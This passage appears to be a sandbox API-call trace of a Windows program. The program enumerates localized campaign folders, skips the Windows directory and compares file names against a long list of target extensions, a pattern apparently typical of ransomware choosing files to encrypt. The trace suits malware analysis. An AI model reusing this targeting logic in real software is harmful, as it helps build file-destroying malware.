	[0176.979] lstrlenW (lpString=".exr") returned 4
	[0176.979] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".f4v") returned 4
	[0176.979] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".fido") returned 5
	[0176.979] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0176.979] lstrlenW (lpString=".flm") returned 4
	[0176.979] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".flv") returned 4
	[0176.979] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".frm") returned 4
	[0176.979] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".fxg") returned 4
	[0176.979] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".geo") returned 4
	[0176.979] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".gif") returned 4
	[0176.979] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".grs") returned 4
	[0176.979] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".gz") returned 3
	[0176.979] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0176.979] lstrlenW (lpString=".h") returned 2
	[0176.979] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0176.979] lstrlenW (lpString=".hdr") returned 4
	[0176.979] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".hpp") returned 4
	[0176.979] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0176.979] lstrlenW (lpString=".hta") returned 4
	[0176.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.981] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1
	[0176.981] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK") returned 100
	[0176.992] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.993] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1
	[0176.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0176.997] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1
	[0177.001] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.001] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1
	[0177.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.393] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1
	[0177.396] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.396] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1
	[0177.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.398] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1
	[0177.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.401] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0177.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.404] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1
	[0177.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.406] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1
	[0177.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.410] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1
	[0177.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.413] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1
	[0177.416] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.416] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0177.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.418] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0177.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.573] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1
	[0177.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.579] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1
	[0177.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.585] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0177.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.589] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1
	[0177.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.602] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0177.607] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.607] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1
	[0177.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.613] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0177.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.617] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1
	[0177.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.626] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0177.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.634] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1
	[0177.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.635] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1
	[0177.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.640] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0177.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.657] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0177.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.661] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0177.665] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.665] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0177.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.670] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0177.670] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT") returned 100
	[0177.670] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT") returned 1
	[0177.670] lstrlenW (lpString="it-IT") returned 5
	[0177.670] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-IT") returned -1
	[0177.670] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0177.670] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT") returned 100
	[0177.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0177.673] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0177.673] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0177.674] lstrlenW (lpString="index.html") returned 10
	[0177.674] lstrlenW (lpString=".1cd") returned 4
	[0177.674] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0177.674] lstrlenW (lpString=".3ds") returned 4
	[0177.674] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0177.674] lstrlenW (lpString=".3fr") returned 4
	[0177.674] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0177.674] lstrlenW (lpString=".3g2") returned 4
	[0177.674] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0177.674] lstrlenW (lpString=".3gp") returned 4
	[0177.674] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0177.674] lstrlenW (lpString=".7z") returned 3
	[0177.674] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0177.674] lstrlenW (lpString=".accda") returned 6
	[0177.674] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0177.674] lstrlenW (lpString=".accdb") returned 6
	[0177.674] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0177.674] lstrlenW (lpString=".accdc") returned 6
	[0177.674] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0177.674] lstrlenW (lpString=".accde") returned 6
	[0177.674] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0177.674] lstrlenW (lpString=".accdt") returned 6
	[0177.675] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0177.675] lstrlenW (lpString=".accdw") returned 6
	[0177.675] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0177.675] lstrlenW (lpString=".adb") returned 4
	[0177.675] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".adp") returned 4
	[0177.675] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".ai") returned 3
	[0177.675] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0177.675] lstrlenW (lpString=".ai3") returned 4
	[0177.675] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".ai4") returned 4
	[0177.675] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".ai5") returned 4
